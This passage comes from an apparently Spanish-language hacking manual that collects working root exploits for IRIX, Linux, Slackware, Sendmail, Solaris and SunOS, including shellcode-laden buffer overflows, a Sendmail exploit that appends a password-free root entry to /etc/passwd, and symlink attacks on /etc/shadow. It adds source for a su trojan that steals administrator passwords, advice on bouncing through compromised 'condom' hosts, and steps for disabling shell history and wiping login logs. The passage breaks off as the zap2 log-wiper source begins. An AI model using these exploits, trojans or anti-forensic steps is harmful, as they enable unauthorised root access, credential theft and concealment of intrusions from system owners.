    if (stack & 0x80000000) {
        printf("Recompile with the '-32' option\n");
        exit(1);
    }

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
        targ_addr += atoi(argv[1]) * 4;

    if (targ_addr + GP_OFFSET > 0x80000000) {
        printf("Sorry - this exploit for Irix 6.x only\n");
        exit(1);
    }

    tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

    while ((tmp & 0xff000000) == 0 ||
           (tmp & 0x00ff0000) == 0 ||
           (tmp & 0x0000ff00) == 0 ||
           (tmp & 0x000000ff) == 0)
        tmp += 4;

    for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
        *long_p++ = tmp;
```

```
    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (tmp << 16) | (tmp >> 16);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);
    perror("execl failed");
}
```

IRIX 5.3-6.2

PROBLEM. systour
AFFECTS. SGI IRIX 5.3 and 6.2 with the systour package available.
REQUIRED. account on server
RISK. root compromise, denial of service, etc.

Exploit:

First, we set up an environment for running inst. dryrun is set to true
because we are considerate environmentalists.

```
$ rbase=$HOME; export rbase
$ mkdir -p $HOME/var/inst
$ echo "dryrun: true" > $HOME/.swmgrrc
```

These three lines should be very familiar to all exploitors.

```
$ cp -p /bin/sh /tmp/foobar
$ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops
$ chmod a+x $HOME/var/inst/.exitops
```

Now run it.

```
$ /usr/lib/tour/bin/RemoveSystemTour
Executing outstanding exit-commands from previous session ..
Successfully completed exit-commands from previous session.
Reading installation history
Checking dependencies
ERROR : Software Manager: automatic installation failed: New target
(nothing installed) and no distribution.
```

DISCUSSION. The easiest solution is to replace RemoveSystemTour with
a binary that checks the password. However, RemoveSystemTour may not be
the only way to access inst, and so these general recommendations apply:

inst should check UID and lock configuration options when called non-
interactively from versions and with euid 0. inst also has a race
condition on the file /tmp/shPID0, the shell script it creates to make the
appropriate directory (rbase). inst should verify the variables it
uses--by relying on an external shell script, environment variables, IFS,

etc. can be tampered with. Finally, inst will happily overwrite logfiles specified in the .swmgrrc file and creat() the shell script over anything.

LINUX (pongo varios ya que hay muchos ...)

```
/*

   Just Your Standard EGGSHELL Proggie:
   traceroute buffer overflow exploit for RedHat Linux 5.0
   mostly ripped from Aleph One <aleph1@underground.org>
   Wilton Wong

   wwong@blackstar.net

   gcc -o trace_shell trace_shell.c

*/

#include <stdlib.h>

#define DEFAULT_OFFSET                0
#define DEFAULT_BUFFER_SIZE           1019
#define DEFAULT_EGG_SIZE              2048
#define NOP                           0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;
  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);
  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
  buff[bsize - 1] = '\0';
```

```
  egg[eggsize - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  printf("Now run: /usr/sbin/traceroute $RET\n");
  system("/bin/bash");
}
```

Ahora uno para **SLACKWARE**:

```
/*
  SLACKWARE Traceroute Buffer OverFlow -- (c) shit-head (w0nky@usa.net) 1997
  Created: 8/15/97

  Give thanks to Solar Designer for his su overflow, this is based
  on that peice of work.

  This is for educational purposes only, in no way am I responsible
  for what you do with this.  This should be used by sys admins, or
  people who have permission of the admin to run it to see if this
  hole can exist on their system.  If you use it for the wrong reasons
  then I say *tisk* on you.  I will not be held responsible for your
  actions.

  This could be done with a generic overflow program, but just
  running this is easier.

  USAGE OF THIS DOES NOT GIVE YOU TECH SUPPORT SO DON'T
  MESSAGE ANYBODY ON IRC ABOUT THIS.

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  "\xcd\x80/"
  "/bin/sh"
  "0";
char *get_sp() {
   asm("movl %esp,%eax");
}
#define bufsize 2048
char buffer[bufsize];
main() {
  int i;
  for (i = 0; i < bufsize - 4; i += 4)
    *(char **)&buffer[i] = get_sp() - 3072;
  memset(buffer, 0x90, 512);
  memcpy(&buffer[512], shellcode, strlen(shellcode));
  buffer[bufsize - 1] = 0;
  system("clear");
  printf("_____\n");
  printf("| Traceroute Overflow -- (c) shit-head 1997\n");
  printf("| Give props to Solar Designer for his su overflow, this is based on that.\n");
  printf("|\n");
  printf("| Peep's to: suid, knowy, thugzsta, you all be 2 cool.\n");
  printf("|\n");
  printf("| *NOTE* I'm not responsible if you abuse this. Run only w/ premission\n");
  printf("| Sending Overflow.... Done.\n");
```

```
    printf("-------------------------------------------------------------------------------\n");
  setenv("NLSPATH", buffer, 1);
  execl("/usr/bin/traceroute", "/usr/bin/traceroute", NULL);
}
```

SENDMAIL

Aunque obviamente el sendmail no es un sistema operativo pongo algunos xploits para el, ya que es el clasico de los holes en maquinas unix.

Sendmail 8.7-8.8.2

```
#/bin/sh
#
#
#                               Hi !
#               This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                               Have fun !
#
#
#                         ----------------------
#               ---------------------------------------------
#    ------------------   Dedicated to my beautiful lady   ------------------
#               ---------------------------------------------
#                         ----------------------
#
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo   'main()                                          '>>leshka.c
echo   '{                                               '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                               '>>leshka.c
#
#
echo   'main()                                          '>>smtpd.c
echo   '{                                               '>>smtpd.c
echo   '  setuid(0); setgid(0);                                 '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");       '>>smtpd.c
echo   '}                                               '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
"\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
/tmp/sh
```

Descripcion y Notas:

Este bug se basa en el hecho de que sendmail es un programa suid root y como tal puede ser invocado como demonio por cualquier usuario y tras ello cargar una pieza de codigo de cualquier parte por lo tanto el usuario puede mandar "señales" a sendmail y controlarlo con los beneficios que ello conlleva, basicamente el bug trastoca el HUP handler para permitir esto.

Otro para el sendmail 8.8.4:

Try this:
Make hard link of /etc/passwd to /var/tmp/dead.letter
Telnet to port 25, send mail from some bad email address to some unreacheable hoost.
Watch your message get appended to passwd.
ie:
cowzilla::0:0:c0wz1ll4 0wns u:/:/bin/sh

This is not good. Worked with my 8.8.4, will probably also work with 8.8.5

Root for the whole family

==========

okay, just want to point out some things about this exploit...
this won't work on big boxes that are partitioned cause you can only do a
hard link on the same file system. another point is that any box that has
a 'MAILER-DAEMON' defined will get any mail that gets sent there instead of it
saving it to /var/tmp/dead.letter, ie, make an /etc/aliases file that defines
a MAILER-DAEMON. for instance, i add these two to my /etc/aliases:

MAILER-DAEMON:gonzo
postmaster:gonzo

then you just type 'newaliases' and you're good to go. (postmaster is a
general good idea) course then you have to deal with ppl's messed up mail...

==========

Here's a nice little sendmail exploit that works with 8.8.4 and maybe with
8.8.5.
You need to have an account on the system you're exploiting.
telnet to your shell and issue following commands:

ln /etc/passwd /var/tmp/dead.letter
telnet target.host 25
mail from: non@existent.host
rcpt to: non@existent.host
data
kRad::0:0:J0oR dEaD:/root:/bin/bash
.
quit

The body of the message will be written into /etc/passwd and you've got a password-free root account.

Note that this will NOT work under any of the following circumstances:

1. /var and / are different partitions.
   You can't make a hardlink between different partitions.
2. There is a postmaster account or mail alias.
   Mail problems are sent to postmaster before they go to
   /var/tmp/dead.letter.
3. /var/tmp doesn't exist or isn't publicly writable.
   Duh.
4. Other situations?

SOLARIS

I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert - calendar data conversion utility - allows any user to change the owner for any file (or directory) from the system or gain root access. The exploit is very simple. Change the permision mode of your calendar file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run sdtcm_convert. sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you first). You have only to delete the callog file and make a symbolic link to a target file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target file ...
A simple way to correct this is to get out suid_exec bit from sdtcm_convert.

CDE is generally a can of worms.

```
22:15  [wumpus:~] % whoami
adam
22:15  [wumpus:~] % ls -l /etc/shadow
-r--------   1 root     sys          291 Jul 11 22:14 /etc/shadow
22:15  [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam
22:15  [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
Loading the calendar ...

WARNING!! Data will be lost when converting version 4 data format
back to version 3 data format.

Do you want to continue? (Y/N) [Y] y

Doing conversion ...
Writing out new file ...
Conversion done successfully.
Total number of appointments                  = 0
Number of one-time appointments converted      = 0
Number of repeating appointments converted     = 0
Number of one-time appointments pruned         = 0
Number of repeating appointments pruned        = 0
The original file is saved in /tmp/calorig.adam
22:15  [wumpus:~] % ls -l /etc/shadow
-r--rw----   1 adam     daemon      3114 Jul 11 22:15 /etc/shadow
22:15  [wumpus:~] % chmod 644 /etc/shadow
22:15  [wumpus:~] % cp /dev/null /etc/shadow
cp: overwrite /etc/shadow (y/n)? y
22:15  [wumpus:~] % ls -l /etc/shadow
-rw-r--r--   1 adam     daemon         0 Jul 11 22:15 /etc/shadow
22:15  [wumpus:~] % echo "root::6445::::::" >> /etc/shadow
22:16  [wumpus:~] % su
# id
uid=0(root) gid=1(other)
# exit
```

OTRO PARA SOLARIS

Author: mudge@l0pht.com

Overview:

A buffer overflow condition exists in the getopt(3) routine. By supplying
an invalid option and replacing argv[0] of a SUID program that uses the
getopt(3) function with the appropriate address and machine code instructions,
it is possible to overwrite the saved stack frame and upon return(s) force
the processor to execute user supplied instructions with elevated permissions.

Description:

While evaluating programs in the Solaris Operating System environment it became apparent that changing many programs trust argv[0] to never exceed a certain length. In addition it seemed as though getopt was simply copying argv[0] into a fixed size character array.

```
./test >>& ccc
Illegal instruction (core dumped)
```

Knowing that the code in ./test was overflow free it seemed that the problem must exist in one of the functions dynamically linked in at runtime through ld.so. A quick gander through the namelist showed a very limited range of choices for the problem to exist in.

```
00020890 B _end
0002088c B _environ
00010782 R _etext
        U _exit
00010760 ? _fini
0001074c ? _init
00010778 R _lib_version
000105ac T _start
        U atexit
0002088c W environ
        U exit
0001067c t fini_dummy
0002087c d force_to_data
0002087c d force_to_data
000106e4 t gcc2_compiled.
00010620 t gcc2_compiled.
        U getopt
00010740 t init_dummy
00010688 T main
```

Next we checked out getopt() - as it looked like the most likely suspect.

```
#include <stdio.h>

main(int argc, char **argv)
{
  int opt;

  while ((opt = getopt(argc, argv, "a")) != EOF) {
    switch (opt) {
    }
  }
}

>gcc -o test test.c
>./test -z
./test: illegal option -- z
```

Note the name it threw back at the beggining of the error message. It was quite obvious that they are just yanking argv[0]. Changing argv[0] in the test program confirms this.

```
for (i=0; i< 4096; i++)
  buffer[i] = 0x41;

 argv[0] = buffer;
```

With the above in place we see the following result:

```
>./test -z
[lot's of A's removed]AAAAAAAAA: illegal option -- z
Bus error (core dumped)
```

By yanking out the object file from the static archive libc that is supplied
with Solaris our culprit was spotted [note - we assumed that libc.a was
built from the same code base that libc.so was].

```
> nm getopt.o
        U _dgettext
00000000 T _getopt
00000000 D _sp
        U _write
00000000 W getopt
        U optarg
        U opterr
        U optind
        U optopt
        U sprintf
        U strchr
        U strcmp
        U strlen
```

Here we see one of the infamous non-bounds-checking routines: sprintf();
More than likely the code inside getopt.c looks something like the following:

```
getopt.c:
  char opterr[SOMESIZE];
  ...
  sprintf(opterr, argv[0]...);
```

Thus, whenever you pass in a non-existant option to a program that uses getopt
you run into the potential problem with trusting that argv[0] is smaller
than the space that has been allocated for opterr[].

This is interesting on the Sparc architecture as getopt() is usually called
out of main() and you need two returns [note - there are certain situations
in code on Sparc architectures that allow you to switch execution to your
own code without needing two returns. Take a look at the TBR for some
enjoyable hacking] due to the sliding register windows. Some quick analysis
of SUID programs on a standard Solaris 2.5 box show that most of these
programs exit() or more likely call some form of usage()-exit() in the
default case for getopt and thus are not exploitable. However, at least
two of these programs provide the necessary returns to throw your
address into the PC :
    passwd(1)
    login(1)

On Solaris X86 you do not need these double returns and thus a whole world of
SUID programs allow unpriveledged users to gain root access:
   (list of programs vulnerable too big to put here. sigh.)

Exploit:

```
$./exploit "/bin/passwd" 4375 2> foo
# id
uid=0(root) gid=1(other)
```

SUNOS

```
******************************************************************************
  HACK: Exploit the patched "loadmodule" with a path attack [8lgm]
System: Sun OS 4.1.x (?others)
```

Source: 8lgm
Date: Jan 2, 1995
****

VERSIONES VULNERABLES:

SunOS 4.1.* & Openwindows 3 con el ultimo parche para loadmodule.

DESCRIPCION:

loadmodule usa system(3) para encontrar la arquitectura de la maquina.

IMPACTO:

Usuarios locales pueden obtener acceso como r00t.

REPETIDO POR:

Insertar el directorio local al comienzo de tu path

```
$ set path=(. $path)
```

Copiar un shell y darle los atributos 711

```
$ echo "/bin/sh" > ld
$ chmod 711 ld
```

Ejecutar loadmodule con una llamada limpia y obtener un shell de r00t

```
$ /usr/openwin/loadmodule sd.o evqload
# whoami
root
```

Bueno, creo que ya han sido suficientes, a ver si para proximas ediciones del texto me lo curro un poco mas y los busco mas elegidos pero ahora viene el follon de examenes :o(y los he pillado un poco al azar. A ver si tengo tiempo y en la proxima edicion pongo los que dan mas resultado e intento explicar un poco las pegas que tienen.. perdon por mi incompetencia jeje

En realidad, por lo menos lo que hago yo en empaquetarlos en un tgz ya que los tengo ordenados por sistemas operativos y por versiones, subirlos a la maquina victima con ftp y rular los ke puedan servir para esa makina en concreto. Para algunos sistemas operativos, tengo hechos scripts en shell que te los rulan automaticamente.. akonsejo ke lo hagais, no es dificil y te evitas tiempo :)

7.3.- TROYANOS

Bueno, un troyano es un programa que modifica su funcion habitual para conseguir algun objetivo que nos interese. En principio, una de las utilidades mas importantes de los troyanos es dejar backdoors con los tipicos troyanos del login, telnetd, fingerd y demas... espero que en posteriores ediciones del texto tenga tiempo para explicarlos estos un poco. Pero como en esta seccion lo que nos interesan son modos de pillar root, voy a contar un poco como usar el troyano de su para conseguir ese objetivo.

Para aquellos que vais un poco verdes en unix, explico lo que es el su. En principio hay muchos administradores que entran con una cuenta de usuario normal y cuando necesitan hacer algo que requiere que sean root, ejecutan el comando su que permite cambiar el usuario a root. Esto se hace ya que no es conveniente ser root en la maquina por posibles metidas de pata (sobretodo a altas horas de la mañana jeje) y si por ejemplo haces un rm sobre un fichero importante y no eres root, no pasa nada en general ya que no tendras permisos para hacerlo.

Para usar este sistema, hay que buscar quien usa su. Esto se puede hacer viendo en el /var/adm/messages (si tienes permisos para leerlo), el sulog u otros archivos de log dependiendo del sistema en el que estes, o bien entrar en los directorios HOME (si tienes permisos) y ver los history (que son distintos dependiendo del

shell que se usa.. estan explicados en el apartado de borrar huellas) ya que en esos archivos se ven todos los comandos ejecutados por el usuario.

Es decir, con esta tecnica tambien tenemos que sacar un passwd de administrador, pero hay que tener en cuenta que si por ejemplo es una maquina con dos users con id=0 y que ademas cada uno de ellos entra con una cuenta normal para hacer luego su, hay 4 cuentas de “root” por lo que pasando unos cuantos diccionarios es facil que caiga alguna de las cuatro.

En fin, siguiendo con el rollo y suponiendo que tenemos la cuenta de ese user que luego hace su root, se ha de cambiar la variable path a un directorio donde pongamos el su troyano, es decir, pillamos el codigo del su, lo compilamos y lo metemos en un directorio cualquiera buscando que no cante mucho. Ese directorio lo ponemos en el path de manera que este antes que el directorio por defecto donde esta el su verdadero. Por ejemplo, si el path es:

PATH=/bin/:/sbin/.....

Tendria que ponerse si el directorio donde esta el troyano de su, se llama /.troyano:

PATH=/.troyano:/bin:/sbin.....

Asi, si el administrador que no ha entrado con la cuenta de root hace su, entrara el troyano que lo que hace pedirle el passwd y le dice que es un passwd incorrecto con lo que el pensara que se ha equivocado introduciendo el dato y te guarda el passwd en un fichero determinado. Tras esto, el su troyano se borra automaticamente por lo que pierde el rastro.

Esto puede tener algunas pegas como son que esa variable nueva añadida al path canta un poco, que el tio se mosquee cuando el su le de error, y alguno mas que pueden ir surgiendo sobre la marcha, o sea, que probadlo que da buenos resultados aunque teneis que tener cuidado con estas pegas.

Bueno, ahi va el codigo:

```
/* su trojan ribbed - by FA-Q
 * werd to lwn for his help.
 * mkdir .elm
 * cc -o ~/.elm/su su.c
 * edit .bash_profile or .bashrc
 * add PATH=$HOME/.elm:$PATH
 */

#include <stdio.h>
#include <stdlib.h>

#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
   char *key;
   char buf[24];
   FILE *fd;

   key = (char *)getpass ("Password:");
   fd = fopen(SU_PASS,"w");
   fprintf(fd, "pass: %s\n", key);
   fclose(fd);
   printf ("su: incorrect password\n");
   sprintf(buf, "rm %s", argv[0]);
   system(buf);
   exit (1);
}
```

Bueno, creo que con estos tres metodos sera suficiente para pillar root en muchas makinas... una de las cosas mas importantes es buscar exploits, asi ke buscando un poko en la red, tendreis muchiiiisimos :)

8- HACKEAR CON CONDON (o gateway)

Tras explicar los metodos para entrar en maquinas y pillar root, en este y el proximo apartado se va a explicar un poco que hacer para ke no te pillen.

En general, cuando tu hackeas una maquina sin ningun tipo de proteccion, simplemente haces telnet victima.com o ftp o el servicio que quieras. Esto esta muy bien porque claramente la distancia mas corta entre dos puntos es la linea recta, pero el problema es que en algunos logs de la maquina victima aparece nuestro ip y por tanto nos tienen perfectamente identificados con solo hacer un last.

Hay que puntualizar que otra manera de hacer las cosas es no usar condon pero tener mucha experiencia en el borrado de huellas pero eso no es aconsejable si no estas muy seguro de tus habilidades.

Un tema a discutir, seria cuando hay que usar protecciones o no. Un consejo personal es hacerlo dependiendo del tipo de maquina y del tipo de cosas que se van a hacer en ella. No es lo mismo entrar en una maquina de una universidad que sabemos que el root no esta muy experimentado que entrar en una maquina con medidas serias de seguridad. Tampoco es lo mismo entrar para ver que la cuenta que has pillado funciona, hacer un ls y poco mas, que entrar, ejecutar xploits, poner un sniffer, etc. Obviamente, en el segundo caso hay que tomar algun tipo de proteccion si no quieres acabar en la carcel. Ademas, mi opinion es que este sistema es un metodo de seguridad adicional ademas obviamente de borrar huellas y usar este sistema simplemente por si has fallado en algo pero no solo usar esto. Ademas, si tienes una cuenta y la usas con condon y no borras huellas, no te pillaran, pero seguramente veran los logs y te cancelaran la cuenta o cambiaran cosas del sistema dependiendo lo que hayas hecho. Te quitaran el sniffer, te quitaran si tienes sushi, si tienes alguna backdoor, etc.

La manera de trabajar usando condon, consiste en usar maquinas intermedias para saltar de una en otra hasta llegar a la maquina objetivo. El esquema seria:

Mimaquina-->Condon1-->Condon2-->Victima.com

Ponemos el ejemplo de dos maquinas intermedias que sera suficiente para la mayoria de casos, pero lo que es cierto es que como las maquinas condon sean un poco lentas.. nos podemos morir de asco y de aburrimiento :o(

En el ejemplo anterior, si en victima.com nos pillan, aparecemos con el ip de la maquina condon2 por lo que no sera la nuestra. Si quisieran pillarnos tendria que ir el root de la victima.com a hablar con el root de condon2 para convencerle de que le de tu ip ya que la maquina condon2 tendra tu conexion en su log (siempre que no hayas borrado huellas en la maquina condon2, cosa que seria conveniente). Raramente un root de victima.com hablara con condon2 diciendole que les ha entrado un hacker y pidiendoles ayuda y sobre todo si una es de Japon y la otra de Noruega (jeje) pero en casos extremos todo esto se podria hacer legalmente por parte de la policia, pero tienes que hacer algo muy gordo para eso. Ademas, como se ha usado otra maquina condon1 se multiplican nuevamente todos los problemas para localizarte por lo que sera improbable si has borrado las huellas medianamente bien. El problema de esto es que si saltas a una makina de japon y luego a otra de noruega y luego a otra de españa, puedes tardar 10 minutos en que llegue a la destino si las intermedias van lentas :(

Por ejemplo, si queremos hacer un telnet usando dos condones, el procedimiento seria:

% telnet condon1.com

Te cuenta un rollo y te pide login y pass (que deben ser conocidos)
UNIX v.4.5
Login: aaaaaa
Password: xxxxxx
Te da acceso a esa maquina y haces otro telnet:
% telnet condon2.com

Te cuenta otro rollo y te pide login y pass
IRIS v.3.5 Please Login
Login: pepito
Password: xxxx
% telnet victima.com <---------Sistema con seguridad seria
Te cuenta otro rollo y lo mismo:

Login: porfinllego
Password: xxxxxxxx
Bienvenido!

Y asi ya estamos en la maquina victima con 2 condones. Supongo que entendeis el tema. Este procedimiento se puede usar con cualquier servicio: telnet, ftp, etc.

Es indispensable que las maquinas condon sean bastantes conocidas por el hacker, es decir, que sepas que el root no controla demasiado o que por algun motivo sabes que esta bajo tu control absoluto (aunque recuerdo que no siempre todo es como parece ser :o(porque quiza te pases de listo pensando que el root no tiene ni puta idea y resulta que te esta tomando el pelo), ya que como haya algun contratiempo puedes acabar en la carcel :o(o tambien seria una putada que el root de esa makina sea un tio competente (u otro hacker) y te este vigilando en todo lo que hagas y te este logeando todo lo que haces con los correspondientes inconvenientes.

Sobre esto, he de decir que se debe tener en cuenta que hay administradores que controlan todos los aspectos del hacking y te pueden estar haciendo exactamente lo que piensas que le estas haciendo a el, es decir, el puede tener puestos troyanos para ocultar su presencia o para ocultar procesos suyos que te pueden estar logeando, pillais la idea no?.. de hecho muchos hackers que conozco que son roots de maquinas usan este tipo de cosas... asi que tened cuidado ahi fuera ;o)

9.- BORRAR HUELLAS

En el apartado 8 se ha explicado como proteger que te localicen pero siempre ha de estar combinado el uso de condon con el borrado de huellas.

El borrado de huellas es una de las tareas mas importantes cuando se entra en una maquina ya que si detectan que has entrado se mosquearan y buscaran como conseguir eliminarte y aunque el root no se entere mucho, siempre puede pedirle a alguien ayuda y que te descubran los troyanos, rootkits y demas ingenios maleficos..:(.. por esto, lo mejor es que no detecten que has entrado y esto se consigue borrando las huellas tal y como se explica a continuacion.

El problema del borrado de huellas es que para borrar poder borrar todas las huellas has de ser root (excepto algunos sunos que se podia modificar un fichero de log aunke no todos) y ademas en algunos sistemas con sistemas adicionales de logs o de seguridad borrar todas las huellas se puede convertir en una tarea compleja.

Un consejo particular es que el hackeo de la maquina, a ser posible, es mejor hacerlo todo de una. Es decir, que si por ejemplo consigues el fichero de passwd con un bug remoto (por ejemplo el phf), eso deja logs en el httpd por lo que lo mas interesante es pillar el fichero de passwd y desencriptarlo con el john (o si pillas una shell remota no necesitas desencriptar), entrar e intentar hacerte root para poder borrar las huellas... todo de un tiron.

Os podeis preguntar que si no es mas comodo hacerlo en varios dias.. la respuesta es que es mas comodo hacerlo en varios dias, pero tened en cuenta que si por ejemplo pillais el fichero de passwd con el phf un lunes noche, y hasta el jueves no os poneis de nuevo con la maquina, el root puede haber visto los logs del httpd en martes y darse cuenta de que tiene un hacker rondando... una putada no?... sin embargo, si el mismo lunes, entrais usando el phf, rulais xploits y os haceis root y usais las tecnicas explicadas en esta seccion para borrar huellas, sereis roots y ademas no tendra manera de detectarlo... esta bien no??

Por cierto, aunque no venga mucho al caso, aconsejo que al entrar en una maquina, antes de hacer cosas, hagais un who.. aunque tened en cuenta que hay que saber interpretar los resultados del who ya que a veces pueden estar semi-adulterados.

Otra cosa es que hay que ser un poco cuidadoso con lo que se hace. Hay mucha gente que sube los xploits a las maquinas y los zappers y luego no se preocupan ni de borrarlos ni de nada.. opino que tampoco cuesta mucho meter todos los xploit en un directorio .xploit y antes de irte hacer un rm –r .xploit... es ke da un poko de pena ir por una makina y encontrartela llena de xploits y de ficheros de passwd por los homes de los usuarios :(

En fin, vamos al grano... los sistemas operativos llevan por defecto bastantes logs (log es un archivo que guarda informacion) : en los textos que he mirado por ahi la mayoria hablan del wtmp, utmp y lastlog y

algunos hablan sobre el acct, pero en realidad hay que tener cuidado con algunos logs mas como pueda ser el que registra las entradas por ftp, todos los que genera el syslogd, los del httpd, etc.

Ademas para joder mas, existen programas especificos para ejercer tareas adicionales como puedan ser el tripwire (comprobador de binarios), tcp-wrappers, log daemons adicionales, etc pero en fin... todo esto lo dejaremos para otro texto que vienen los examenes pronto y tengo poco tiempo jeje

Bien, seas o no seas root, has de tener cuidado con el history. El history es un archivo que guarda todos los comandos que ejecutas y que por ejemplo en la bash se llama .bash_history.

Para evitar que se haga el history tienes varias alternativas:

unset history
o
poner un set y hacer algo del tipo HISTFILE=/dev/null
o
ln –s /dev/null /.bash_history (suponiendo que estamos en bash shell)

El sistema que yo uso es ejecutar una csh ke no deja archivo history kon lo ke te olvidas de este problema :)

Otra historia para tener en cuenta es que si entras en la tipica maquina que te dice quien fue el ultimo usuario que entro a esa cuenta, podria ser sospechoso si entras a una maquina alemana y ve que

Lastlogin by pepito.es 23-01-1997

Opino que seria mosqueante no?... asi que si no conseguimos ser root y podemos borrarlo con el cloak o similar, lo que tenemos que hacer es un telnet maquinavictima.de y asi cuando entre la siguiente persona vera:

Lastlogin by maquinavictima.de 23-01-1997

Que aunque no es perfecto, es mejor que en el caso anterior no?

Ademas de esto, se ha de tener en cuenta que muchas veces lo que hagamos en la maquina creara ficheros en el /tmp por lo que habra que darse una vuelta por alli antes de salir de la maquina y borrar si hemos generado algo... identificaremos rapidamente lo ke hemos generado nosotros por el propietario de los ficheros.

En fin, todo lo explicado hasta ahora es suponiendo que no hemos conseguido root, pero si pillamos el root, casi siempre podremos borrar todas las huellas aunque tambien hemos de tener mas cuidado ya que si no las borramos bien y el verdadero root entra a la maquina y ve que alguien hizo modificaciones como root un dia que el no estuvo (y que estuvimos nosotros), se mosqueara bastante y le dara que pensar.... y posiblemente te pille o cambie las cuentas del sistema o haga cualquier cosa.

La idea es que si entramos como login pepito, el root no puede saber si pepito es realmente pepito o no y no tiene manera de comprobarlo pero sin embargo el root si que sabe aproximadamente que dias se conecto por lo que si al hacer un last ve que se conecto por ejemplo el jueves 24 de enero y resulta que ese dia estaba con la novia..... pensando llegaria a la conclusion de que alguien entro a la maquina como root..... asi la conclusion es que cuando nos hagamos root hay que tener cuidado en borrar las huellas (este tipo de cosas puede parecer obvio pero siempre es bueno recordarlas no?). Tambien hay que tener en cuenta que si entras como user normal y ejecutas un xploit, en la mayoria de los casos tu uid no sera el de root pero tendras privilegios de root por lo que el root haciendo un last no detectara que ha entrado alguien kon privilegios de root.. aunke se puede dar kuenta por otros detalles.

En fin, los logs mas importantes son:

UTMP – Indica quien esta conectado en cada momento.

WTMP – Indica todas las entradas y salidas de la maquina victima indicando el tty y el host.

LASTLOG – Guarda un log indicando el momento exacto en el que se conecto el usuario por ultima vez.

ACCT – Guarda todos los comandos ejecutados por los usuarios (aunque sin argumentos) y como os podreis imaginar eso se hace un log enorme en un rato por lo que no suele estar activo, pero siempre hay que tener

en cuenta que puede estar activo y que es una putada porque logea todo lo que haces. En general, la mayoria de los zappers tienen opciones para borrar el acct asi ke no hay problemas. De todos modos, zhart (thc) hizo un programa ke sirve para borrar las huellas del acct ke esta bastante bien y ke lo puedes enkontrar en la red :)

Y estan ubicadas en los siguientes directorios:

UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log

ACCT : /var/adm/acct (en algunos sistemas se puede llamar pacct)

Para borrar estas huellas, se puede usar el zap2 que lo adjunto ya que es muy usado aunque si lo usas has de saber que puede ser detectado facilmente con distintos programas ya que no borra tus huellas sino que las sustituye por ceros y ademas no borra el acct por lo que es mejor que uses el cloak que pondre a continuacion.

En ambos codigos, tendras que poner la ubicacion exacta del utmp, wtmp, lastlog y en su caso acct que podras encontrar en uno de los directorios que he comentado anteriormente o simplemente los buscas con find / -name nombre.

Bien, aqui va el zap2 cuyo uso es zap2 nombredeusuario :

```
#include <sys/types.h>
#include <stdio.h>
